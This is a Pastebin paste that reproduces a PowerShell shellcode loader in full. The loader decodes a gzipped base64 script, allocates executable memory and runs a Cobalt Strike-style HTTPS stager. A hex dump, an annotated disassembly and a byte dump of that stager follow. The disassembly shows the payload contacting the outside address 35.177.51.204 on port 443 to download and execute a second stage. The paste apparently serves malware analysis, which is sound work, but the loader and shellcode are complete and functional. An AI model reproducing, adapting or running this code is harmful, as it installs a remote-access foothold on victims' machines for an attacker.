API tools faq
paste
James_inthe_box

Dumped

James_inthe_box
Nov 20th, 2017
261
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 21.84 KB | None | 0 0
raw download clone embed print report
  1. $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("Set-StrictMode -Version 2
  2.  
  3. $DoIt = @'
  4. function func_get_proc_address {
  5. Param ($var_module, $var_procedure)
  6. $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
  7.  
  8. return $var_unsafe_native_methods.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
  9. }
  10.  
  11. function func_get_delegate_type {
  12. Param (
  13. [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
  14. [Parameter(Position = 1)] [Type] $var_return_type = [Void]
  15. )
  16.  
  17. $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
  18. $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
  19. $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
  20.  
  21. return $var_type_builder.CreateType()
  22. }
  23.  
  24. [Byte[]]$var_code = [System.Convert]::FromBase64String("/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi1ggAdPjPEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS64ZdaG5ldABod2luaVRoTHcmB//V6AAAAAAx/1dXV1dXaDpWeaf/1emkAAAAWzHJUVFqA1FRaLsBAABTUGhXiZ/G/9VQ6YwAAABbMdJSaAAyoIRSUlJTUlBo61UuO//VicaDw1BogDMAAIngagRQah9WaHVGnob/1V8x/1dXav9TVmgtBhh7/9WFwA+EygEAADH/hfZ0BIn56wloqsXiXf/VicFoRSFeMf/VMf9XagdRVlBot1fgC//VvwAvAAA5x3UHWFDpe////zH/6ZEBAADpyQEAAOhv////L1NZWVcArzfcqp5CBS744epsFghOdHpPvGiekxt4fOeZsEHpVKqJ215SCalLxXVZIqq6dGSpfRlxXaKsPCLk0I+1+A2DIuvwGz4sjfcQxABVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjE7IFdPVzY0OyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbw0KAMqL90AqyFjo5UVRwJo/LsnI9ZnsyCcdheiG9gVHoQaiInbJW/aSMkzJj64aMGtBmczMujffdOBkF31uTz7JPVNwCLa0LgIwrQuwkm6rzjLhpdKnXQJn50BJ2zoyPzG2EiocgwaDZtORK6mrrpPb+lMHIUNBgi2bBvmFrH2Kp9C1M9MVoo/Kiet5lssmPZw06f7qMPJCqMRwOFfQY9ranm2E5bjuV7wbr+N+o2+DOp0bonBUXQ6grENWZwE5yxJCkBzKsGLGbkg0zoeb/jhwklEGY0Gh+WUL5ku6RFkAaPC1olb/1WpAaAAQAABoAABAAFdoWKRT5f/Vk7kAAAAAAdlRU4nnV2gAIAAAU1ZoEpaJ4v/VhcB0xosHAcOFwHXlWMPoif3//zM1LjE3Ny41MS4yMDQAUWrcpQ==")
  25.  
  26. $var_buffer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $var_code.Length,0x3000, 0x40)
  27. [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
  28.  
  29. $var_hthread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll CreateThread), (func_get_delegate_type @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$var_buffer,[IntPtr]::Zero,0,[IntPtr]::Zero)
  30. [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll WaitForSingleObject), (func_get_delegate_type @([IntPtr], [Int32]))).Invoke($var_hthread,0xffffffff) | Out-Null
  31. '@
  32.  
  33. If ([IntPtr]::size -eq 8) {
  34. start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
  35. }
  36. else {
  37. IEX $DoIt
  38. }
  39. "));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
  40.  
  41. #####################################################
  42. Hex dump: fc e8 89 00 00 00 60 89 e5 31 d2 64 8b 52 30 8b 52 0c 8b 52 14 8b 72 28 0f b7 4a 26 31 ff 31 c0 ac 3c 61 7c 02 2c 20 c1 cf 0d 01 c7 e2 f0 52 57 8b 52 10 8b 42 3c 01 d0 8b 40 78 85 c0 74 4a 01 d0 50 8b 48 18 8b 58 20 01 d3 e3 3c 49 8b 34 8b 01 d6 31 ff 31 c0 ac c1 cf 0d 01 c7 38 e0 75 f4 03 7d f8 3b 7d 24 75 e2 58 8b 58 24 01 d3 66 8b 0c 4b 8b 58 1c 01 d3 8b 04 8b 01 d0 89 44 24 24 5b 5b 61 59 5a 51 ff e0 58 5f 5a 8b 12 eb 86 5d 68 6e 65 74 00 68 77 69 6e 69 54 68 4c 77 26 07 ff d5 e8 00 00 00 00 31 ff 57 57 57 57 57 68 3a 56 79 a7 ff d5 e9 a4 00 00 00 5b 31 c9 51 51 6a 03 51 51 68 bb 01 00 00 53 50 68 57 89 9f c6 ff d5 50 e9 8c 00 00 00 5b 31 d2 52 68 00 32 a0 84 52 52 52 53 52 50 68 eb 55 2e 3b ff d5 89 c6 83 c3 50 68 80 33 00 00 89 e0 6a 04 50 6a 1f 56 68 75 46 9e 86 ff d5 5f 31 ff 57 57 6a ff 53 56 68 2d 06 18 7b ff d5 85 c0 0f 84 ca 01 00 00 31 ff 85 f6 74 04 89 f9 eb 09 68 aa c5 e2 5d ff d5 89 c1 68 45 21 5e 31 ff d5 31 ff 57 6a 07 51 56 50 68 b7 57 e0 0b ff d5 bf 00 2f 00 00 39 c7 75 07 58 50 e9 7b ff ff ff 31 ff e9 91 01 00 00 e9 c9 01 00 00 e8 6f ff ff ff 2f 53 59 59 57 00 af 37 dc aa 9e 42 05 2e f8 e1 ea 6c 16 08 4e 74 7a 4f bc 68 9e 93 1b 78 7c e7 99 b0 41 e9 54 aa 89 db 5e 52 09 a9 4b c5 75 59 22 aa ba 74 64 a9 7d 19 71 5d a2 ac 3c 22 e4 d0 8f b5 f8 0d 83 22 eb f0 1b 3e 2c 8d f7 10 c4 00 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 36 2e 31 3b 20 57 4f 57 36 34 3b 20 54 72 69 64 65 6e 74 2f 37 2e 30 3b 20 72 76 3a 31 31 2e 30 29 20 6c 69 6b 65 20 47 65 63 6b 6f 0d 0a 00 ca 8b f7 40 2a c8 58 e8 e5 45 51 c0 9a 3f 2e c9 c8 f5 99 ec c8 27 1d 85 e8 86 f6 05 47 a1 06 a2 22 76 c9 5b f6 92 32 4c c9 8f ae 1a 30 6b 41 99 cc cc ba 37 df 74 e0 64 17 7d 6e 4f 3e c9 3d 53 70 08 b6 b4 2e 02 30 ad 0b b0 92 6e ab ce 32 e1 a5 d2 a7 5d 02 67 e7 40 49 db 3a 32 3f 31 b6 12 2a 1c 83 06 83 66 d3 91 2b a9 ab ae 93 db fa 53 07 21 43 41 82 2d 9b 06 f9 85 ac 7d 8a a7 d0 b5 33 d3 15 a2 8f ca 89 eb 79 96 cb 26 3d 9c 34 e9 fe ea 30 f2 42 a8 c4 70 38 57 d0 63 da da 9e 6d 84 e5 b8 ee 57 bc 1b af e3 7e a3 6f 83 3a 9d 1b a2 70 54 5d 0e a0 ac 43 56 67 01 39 cb 12 42 90 1c ca b0 62 c6 6e 48 34 ce 87 9b fe 38 70 92 51 06 63 41 a1 f9 65 0b e6 4b ba 44 59 00 68 f0 b5 a2 56 ff d5 6a 40 68 00 10 00 00 68 00 00 40 00 57 68 58 a4 53 e5 ff d5 93 b9 00 00 00 00 01 d9 51 53 89 e7 57 68 00 20 00 00 53 56 68 12 96 89 e2 ff d5 85 c0 74 c6 8b 07 01 c3 85 c0 75 e5 58 c3 e8 89 fd ff ff 33 35 2e 31 37 37 2e 35 31 2e 32 30 34 00 51 6a dc a5
  43. 0x00000000 fc cld
  44. 0x00000001 e889000000 call 0x0000008f
  45. 0x00000006 60 pushad
  46. 0x00000007 89e5 mov ebp,esp
  47. 0x00000009 31d2 xor edx,edx
  48. 0x0000000b 648b5230 fs: mov edx,dword [edx + 48]
  49. 0x0000000f 8b520c mov edx,dword [edx + 12]
  50. 0x00000012 8b5214 mov edx,dword [edx + 20]
  51. 0x00000015 8b7228 mov esi,dword [edx + 40]
  52. 0x00000018 0fb74a26 movzx ecx,word [edx + 38]
  53. 0x0000001c 31ff xor edi,edi
  54. 0x0000001e 31c0 xor eax,eax
  55. 0x00000020 ac lodsb
  56. 0x00000021 3c61 cmp al,97
  57. 0x00000023 7c02 jl 0x00000027
  58. 0x00000025 2c20 sub al,32
  59. 0x00000027 c1cf0d ror edi,13
  60. 0x0000002a 01c7 add edi,eax
  61. 0x0000002c e2f0 loop 0x0000001e
  62. 0x0000002e 52 push edx
  63. 0x0000002f 57 push edi
  64. 0x00000030 8b5210 mov edx,dword [edx + 16]
  65. 0x00000033 8b423c mov eax,dword [edx + 60]
  66. 0x00000036 01d0 add eax,edx
  67. 0x00000038 8b4078 mov eax,dword [eax + 120]
  68. 0x0000003b 85c0 test eax,eax
  69. 0x0000003d 744a jz 0x00000089
  70. 0x0000003f 01d0 add eax,edx
  71. 0x00000041 50 push eax
  72. 0x00000042 8b4818 mov ecx,dword [eax + 24]
  73. 0x00000045 8b5820 mov ebx,dword [eax + 32]
  74. 0x00000048 01d3 add ebx,edx
  75. 0x0000004a e33c jecxz 0x00000088
  76. 0x0000004c 49 dec ecx
  77. 0x0000004d 8b348b mov esi,dword [ebx + ecx * 4]
  78. 0x00000050 01d6 add esi,edx
  79. 0x00000052 31ff xor edi,edi
  80. 0x00000054 31c0 xor eax,eax
  81. 0x00000056 ac lodsb
  82. 0x00000057 c1cf0d ror edi,13
  83. 0x0000005a 01c7 add edi,eax
  84. 0x0000005c 38e0 cmp al,ah
  85. 0x0000005e 75f4 jnz 0x00000054
  86. 0x00000060 037df8 add edi,dword [ebp - 8]
  87. 0x00000063 3b7d24 cmp edi,dword [ebp + 36]
  88. 0x00000066 75e2 jnz 0x0000004a
  89. 0x00000068 58 pop eax
  90. 0x00000069 8b5824 mov ebx,dword [eax + 36]
  91. 0x0000006c 01d3 add ebx,edx
  92. 0x0000006e 668b0c4b mov cx,word [ebx + ecx * 2]
  93. 0x00000072 8b581c mov ebx,dword [eax + 28]
  94. 0x00000075 01d3 add ebx,edx
  95. 0x00000077 8b048b mov eax,dword [ebx + ecx * 4]
  96. 0x0000007a 01d0 add eax,edx
  97. 0x0000007c 89442424 mov dword [esp + 36],eax
  98. 0x00000080 5b pop ebx
  99. 0x00000081 5b pop ebx
  100. 0x00000082 61 popad
  101. 0x00000083 59 pop ecx
  102. 0x00000084 5a pop edx
  103. 0x00000085 51 push ecx
  104. 0x00000086 ffe0 jmp eax
  105. 0x00000088 58 pop eax
  106. 0x00000089 5f pop edi
  107. 0x0000008a 5a pop edx
  108. 0x0000008b 8b12 mov edx,dword [edx]
  109. 0x0000008d eb86 jmp 0x00000015
  110. 0x0000008f 5d pop ebp
  111. 0x00000090 686e657400 push 0x0074656e--> 'ten'
  112. 0x00000095 6877696e69 push 0x696e6977--> 'iniw'
  113. 0x0000009a 54 push esp
  114. 0x0000009b 684c772607 push 0x0726774c--> '&wL'
  115. 0x000000a0 ffd5 call ebp --> kernel32.dll!LoadLibraryA
  116. 0x000000a2 e800000000 call 0x000000a7
  117. 0x000000a7 31ff xor edi,edi
  118. 0x000000a9 57 push edi
  119. 0x000000aa 57 push edi
  120. 0x000000ab 57 push edi
  121. 0x000000ac 57 push edi
  122. 0x000000ad 57 push edi
  123. 0x000000ae 683a5679a7 push 0xa779563a--> 'yV:'
  124. 0x000000b3 ffd5 call ebp --> wininet.dll!InternetOpenA
  125. 0x000000b5 e9a4000000 jmp 0x0000015e
  126. 0x000000ba 5b pop ebx
  127. 0x000000bb 31c9 xor ecx,ecx
  128. 0x000000bd 51 push ecx
  129. 0x000000be 51 push ecx
  130. 0x000000bf 6a03 push 3
  131. 0x000000c1 51 push ecx
  132. 0x000000c2 51 push ecx
  133. 0x000000c3 68bb010000 push 443
  134. 0x000000c8 53 push ebx
  135. 0x000000c9 50 push eax
  136. 0x000000ca 6857899fc6 push 0xc69f8957
  137. 0x000000cf ffd5 call ebp --> wininet.dll!InternetConnectA
  138. 0x000000d1 50 push eax
  139. 0x000000d2 e98c000000 jmp 0x00000163
  140. 0x000000d7 5b pop ebx
  141. 0x000000d8 31d2 xor edx,edx
  142. 0x000000da 52 push edx
  143. 0x000000db 680032a084 push 0x84a03200
  144. 0x000000e0 52 push edx
  145. 0x000000e1 52 push edx
  146. 0x000000e2 52 push edx
  147. 0x000000e3 53 push ebx
  148. 0x000000e4 52 push edx
  149. 0x000000e5 50 push eax
  150. 0x000000e6 68eb552e3b push 0x3b2e55eb--> ';.U'
  151. 0x000000eb ffd5 call ebp --> wininet.dll!HttpOpenRequestA
  152. 0x000000ed 89c6 mov esi,eax
  153. 0x000000ef 83c350 add ebx,80
  154. 0x000000f2 6880330000 push 0x00003380
  155. 0x000000f7 89e0 mov eax,esp
  156. 0x000000f9 6a04 push 4
  157. 0x000000fb 50 push eax
  158. 0x000000fc 6a1f push 31
  159. 0x000000fe 56 push esi
  160. 0x000000ff 6875469e86 push 0x869e4675--> 'Fu'
  161. 0x00000104 ffd5 call ebp --> wininet.dll!InternetSetOptionA
  162. 0x00000106 5f pop edi
  163. 0x00000107 31ff xor edi,edi
  164. 0x00000109 57 push edi
  165. 0x0000010a 57 push edi
  166. 0x0000010b 6aff push 255
  167. 0x0000010d 53 push ebx
  168. 0x0000010e 56 push esi
  169. 0x0000010f 682d06187b push 0x7b18062d--> '{-'
  170. 0x00000114 ffd5 call ebp --> wininet.dll!HttpSendRequestA
  171. 0x00000116 85c0 test eax,eax
  172. 0x00000118 0f84ca010000 jz 0x000002e8
  173. 0x0000011e 31ff xor edi,edi
  174. 0x00000120 85f6 test esi,esi
  175. 0x00000122 7404 jz 0x00000128
  176. 0x00000124 89f9 mov ecx,edi
  177. 0x00000126 eb09 jmp 0x00000131
  178. 0x00000128 68aac5e25d push 0x5de2c5aa
  179. 0x0000012d ffd5 call ebp --> kernel32.dll!GetLastError
  180. 0x0000012f 89c1 mov ecx,eax
  181. 0x00000131 6845215e31 push 0x315e2145--> '1^!E'
  182. 0x00000136 ffd5 call ebp
  183. 0x00000138 31ff xor edi,edi
  184. 0x0000013a 57 push edi
  185. 0x0000013b 6a07 push 7
  186. 0x0000013d 51 push ecx
  187. 0x0000013e 56 push esi
  188. 0x0000013f 50 push eax
  189. 0x00000140 68b757e00b push 0x0be057b7--> '
  190. W'
  191. 0x00000145 ffd5 call ebp --> wininet.dll!InternetErrorDlg
  192. 0x00000147 bf002f0000 mov edi,0x00002f00
  193. 0x0000014c 39c7 cmp edi,eax
  194. 0x0000014e 7507 jnz 0x00000157
  195. 0x00000150 58 pop eax
  196. 0x00000151 50 push eax
  197. 0x00000152 e97bffffff jmp 0x000000d2
  198. 0x00000157 31ff xor edi,edi
  199. 0x00000159 e991010000 jmp 0x000002ef
  200. 0x0000015e e9c9010000 jmp 0x0000032c
  201. 0x00000163 e86fffffff call 0x000000d7
  202. 0x00000168 2f das
  203. 0x00000169 53 push ebx
  204. 0x0000016a 59 pop ecx
  205. 0x0000016b 59 pop ecx
  206. 0x0000016c 57 push edi
  207. 0x0000016d 00af37dcaa9e add byte [edi - 1632969673],ch
  208. 0x00000173 42 inc edx
  209. 0x00000174 052ef8e1ea add eax,0xeae1f82e
  210. 0x00000179 6c insb byte [esi],edx
  211. 0x0000017a 16 push ss
  212. 0x0000017b 084e74 or byte [esi + 116],cl
  213. 0x0000017e 7a4f jpe 0x000001cf
  214. 0x00000180 bc689e931b mov esp,0x1b939e68
  215. 0x00000185 787c js 0x00000203
  216. 0x00000187 e799 out 153,eax
  217. 0x00000189 b041 mov al,65
  218. 0x0000018b e954aa89db jmp 0x-2476541c
  219. 0x00000190 5e pop esi
  220. 0x00000191 52 push edx
  221. 0x00000192 09a94bc57559 or dword [ecx + 1500890443],ebp
  222. 0x00000198 22aaba7464a9 and ch,byte [edx - 1453034310]
  223. 0x0000019e 7d19 jge 0x000001b9
  224. 0x000001a0 715d jno 0x000001ff
  225. 0x000001a2 a2ac3c22e4 mov byte [0xe4223cac],al
  226. 0x000001a7 d08fb5f80d83 ror byte [edi - 2096236363],1
  227. 0x000001ad 22eb and ch,bl
  228. 0x000001af f01b3e lock: sbb edi,dword [esi]
  229. 0x000001b2 2c8d sub al,0xffffff8d
  230. 0x000001b4 f710 not dword [eax]
  231. 0x000001b6 c400 les eax, [eax]
  232. 0x000001b8 55 push ebp
  233. 0x000001b9 7365 jnc 0x00000220
  234. 0x000001bb 722d jc 0x000001ea
  235. 0x000001bd 41 inc ecx
  236. 0x000001be 67656e gs: outsb edx,byte [esi]
  237. 0x000001c1 743a jz 0x000001fd
  238. 0x000001c3 204d6f and byte [ebp + 111],cl
  239. 0x000001c6 7a69 jpe 0x00000231
  240. 0x000001c8 6c insb byte [esi],edx
  241. 0x000001c9 6c insb byte [esi],edx
  242. 0x000001ca 61 popad
  243. 0x000001cb 2f das
  244. 0x000001cc 352e302028 xor eax,0x2820302e
  245. 0x000001d1 57 push edi
  246. 0x000001d2 696e646f777320 imul ebp,dword [esi + 100],0x2073776f
  247. 0x000001d9 4e dec esi
  248. 0x000001da 54 push esp
  249. 0x000001db 2036 and byte [esi],dh
  250. 0x000001dd 2e313b cs: xor dword [ebx],edi
  251. 0x000001e0 20574f and byte [edi + 79],dl
  252. 0x000001e3 57 push edi
  253. 0x000001e4 36343b ss: xor al,59
  254. 0x000001e7 20547269 and byte [edx + esi * 2 + 105],dl
  255. 0x000001eb 64656e fsgs: outsb edx,byte [esi]
  256. 0x000001ee 742f jz 0x0000021f
  257. 0x000001f0 37 aaa
  258. 0x000001f1 2e303b cs: xor byte [ebx],bh
  259. 0x000001f4 207276 and byte [edx + 118],dh
  260. 0x000001f7 3a31 cmp dh,byte [ecx]
  261. 0x000001f9 312e xor dword [esi],ebp
  262. 0x000001fb 3029 xor byte [ecx],ch
  263. 0x000001fd 206c696b and byte [ecx + ebp * 2 + 107],ch
  264. 0x00000201 65204765 gs: and byte [edi + 101],al
  265. 0x00000205 636b6f arpl word [ebx + 111],bp
  266. 0x00000208 0d0a00ca8b or eax,0x8bca000a
  267. 0x0000020d f7402ac858e8e5 test dword [eax + 42],0xe5e858c8
  268. 0x00000214 45 inc ebp
  269. 0x00000215 51 push ecx
  270. 0x00000216 c09a3f2ec9c8f5 rcr byte [edx - 926339521],245
  271. 0x0000021d 99 cdq
  272. 0x0000021e ec in al,dx
  273. 0x0000021f c8271d85 enter 0x00001d27,133
  274. 0x00000223 e886f60547 call 0x4705f8ae
  275. 0x00000228 a106a22276 mov eax,dword [0x7622a206]
  276. 0x0000022d c9 leave
  277. 0x0000022e 5b pop ebx
  278. 0x0000022f f692324cc98f not byte [edx - 1882633166]
  279. 0x00000235 ae scasb
  280. 0x00000236 1a30 sbb dh,byte [eax]
  281. 0x00000238 6b4199cc imul eax,dword [ecx - 103],0xffffffcc
  282. 0x0000023c cc int3
  283. 0x0000023d ba37df74e0 mov edx,0xe074df37--> 't7'
  284. 0x00000242 6417 fs: pop ss
  285. 0x00000244 7d6e jge 0x000002b4
  286. 0x00000246 4f dec edi
  287. 0x00000247 3ec9 ds: leave
  288. 0x00000249 3d537008b6 cmp eax,0xb6087053
  289. 0x0000024e b42e mov ah,46
  290. 0x00000250 0230 add dh,byte [eax]
  291. 0x00000252 ad lodsd
  292. 0x00000253 0bb0926eabce or esi,dword [eax - 827625838]
  293. 0x00000259 32e1 xor ah,cl
  294. 0x0000025b a5 movsd
  295. 0x0000025c d2a75d0267e7 shl byte [edi - 412679587],cl
  296. 0x00000262 40 inc eax
  297. 0x00000263 49 dec ecx
  298. 0x00000264 db3a fstp [edx]
  299. 0x00000266 323f xor bh,byte [edi]
  300. 0x00000268 31b6122a1c83 xor dword [esi - 2095306222],esi
  301. 0x0000026e 06 push es
  302. 0x0000026f 8366d391 and dword [esi - 45],0xffffff91
  303. 0x00000273 2ba9abae93db sub ebp,dword [ecx - 611078485]
  304. 0x00000279 fa cli
  305. 0x0000027a 53 push ebx
  306. 0x0000027b 07 pop es
  307. 0x0000027c 214341 and dword [ebx + 65],eax
  308. 0x0000027f 822d9b06f985ac sub byte [0x85f9069b],172
  309. 0x00000286 7d8a jge 0x00000212
  310. 0x00000288 a7 cmpsd
  311. 0x00000289 d0b533d315a2 sal byte [ebp - 1575627981],1
  312. 0x0000028f 8fca pop edx
  313. 0x00000291 89eb mov ebx,ebp
  314. 0x00000293 7996 jns 0x0000022b
  315. 0x00000295 cb retf
  316. 0x00000296 263d9c34e9fe es: cmp eax,0xfee9349c
  317. 0x0000029c ea30f242a8c470 jmp 0x70c4:0xa842f230
  318. 0x000002a3 3857d0 cmp byte [edi - 48],dl
  319. 0x000002a6 63da arpl dx,bx
  320. 0x000002a8 da9e6d84e5b8 ficomp dword [esi - 1192917907]
  321. 0x000002ae ee out dx,al
  322. 0x000002af 57 push edi
  323. 0x000002b0 bc1bafe37e mov esp,0x7ee3af1b
  324. 0x000002b5 a36f833a9d mov dword [0x9d3a836f],eax
  325. 0x000002ba 1ba270545d0e sbb esp,dword [edx + 240997488]
  326. 0x000002c0 a0ac435667 mov al,byte [0x675643ac]
  327. 0x000002c5 0139 add dword [ecx],edi
  328. 0x000002c7 cb retf
  329. 0x000002c8 124290 adc al,byte [edx - 112]
  330. 0x000002cb 1cca sbb al,0xffffffca
  331. 0x000002cd b062 mov al,98
  332. 0x000002cf c66e4834 mov byte [esi + 72],52
  333. 0x000002d3 ce into
  334. 0x000002d4 879bfe387092 xchg dword [ebx - 1838139138],ebx
  335. 0x000002da 51 push ecx
  336. 0x000002db 06 push es
  337. 0x000002dc 6341a1 arpl word [ecx - 95],ax
  338. 0x000002df f9 stc
  339. 0x000002e0 650be6 gs: or esp,esi
  340. 0x000002e3 4b dec ebx
  341. 0x000002e4 ba44590068 mov edx,0x68005944--> 'hYD'
  342. 0x000002e9 f0b5a2 lock: mov ch,162
  343. 0x000002ec 56 push esi
  344. 0x000002ed ffd5 call ebp
  345. 0x000002ef 6a40 push 64
  346. 0x000002f1 6800100000 push 4096
  347. 0x000002f6 6800004000 push 0x00400000
  348. 0x000002fb 57 push edi
  349. 0x000002fc 6858a453e5 push 0xe553a458--> 'SX'
  350. 0x00000301 ffd5 call ebp --> kernel32.dll!VirtualAlloc
  351. 0x00000303 93 xchg eax,ebx
  352. 0x00000304 b900000000 mov ecx,0
  353. 0x00000309 01d9 add ecx,ebx
  354. 0x0000030b 51 push ecx
  355. 0x0000030c 53 push ebx
  356. 0x0000030d 89e7 mov edi,esp
  357. 0x0000030f 57 push edi
  358. 0x00000310 6800200000 push 0x00002000
  359. 0x00000315 53 push ebx
  360. 0x00000316 56 push esi
  361. 0x00000317 68129689e2 push 0xe2899612
  362. 0x0000031c ffd5 call ebp --> wininet.dll!InternetReadFile
  363. 0x0000031e 85c0 test eax,eax
  364. 0x00000320 74c6 jz 0x000002e8
  365. 0x00000322 8b07 mov eax,dword [edi]
  366. 0x00000324 01c3 add ebx,eax
  367. 0x00000326 85c0 test eax,eax
  368. 0x00000328 75e5 jnz 0x0000030f
  369. 0x0000032a 58 pop eax
  370. 0x0000032b c3 ret
  371. 0x0000032c e889fdffff call 0x000000ba
  372. 0x00000331 33352e313737 xor esi,dword [0x3737312e]
  373. 0x00000337 2e35312e3230 cs: xor eax,0x30322e31
  374. 0x0000033d 3400 xor al,0
  375. 0x0000033f 51 push ecx
  376. 0x00000340 6adc push 220
  377. 0x00000342 a5 movsd
  378.  
  379. Byte Dump:
  380. ......`..1.d.R0.R.R..r(..J&1.1..<a|.,......RW.R..B<[email protected]...<I.4...1.1......8.u..}.;}$u.X.X$..f.K.X.........D$$[[aYZQ..X_Z....]hnet.hwiniThLw&........1.WWWWWh:Vy........[1.QQj.QQh....SPhW.....P.....[1.Rh.2..RRRSRPh.U.;......Ph.3....j.Pj.VhuF...._1.WWj.SVh-..{..........1...t....h...]....hE!^1..1.Wj.QVPh.W...../..9.u.XP.{...1............o.../SYYW..7...B.....l..NtzO.h...x|...A.T...^R.K.uY"..td.}.q]..<"......"...>,.....User-Agent:Mozilla/5.0(WindowsNT6.1;WOW64;Trident/7.0;rv:11.0)likeGecko....@*.X..EQ..?.......'......G..."v.[..2L....0kA....7.t.d.}nO>.=Sp.....0...n..2....].g.@I.:2?1..*....f..+......S.!CA.-.....}....3.......y..&=.4...0.B..p8W.c...m....W....~.o.:...pT][email protected]..@.WhX.S...........QS..Wh...SVh........t.......u.X......35.177.51.204.Qj..
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!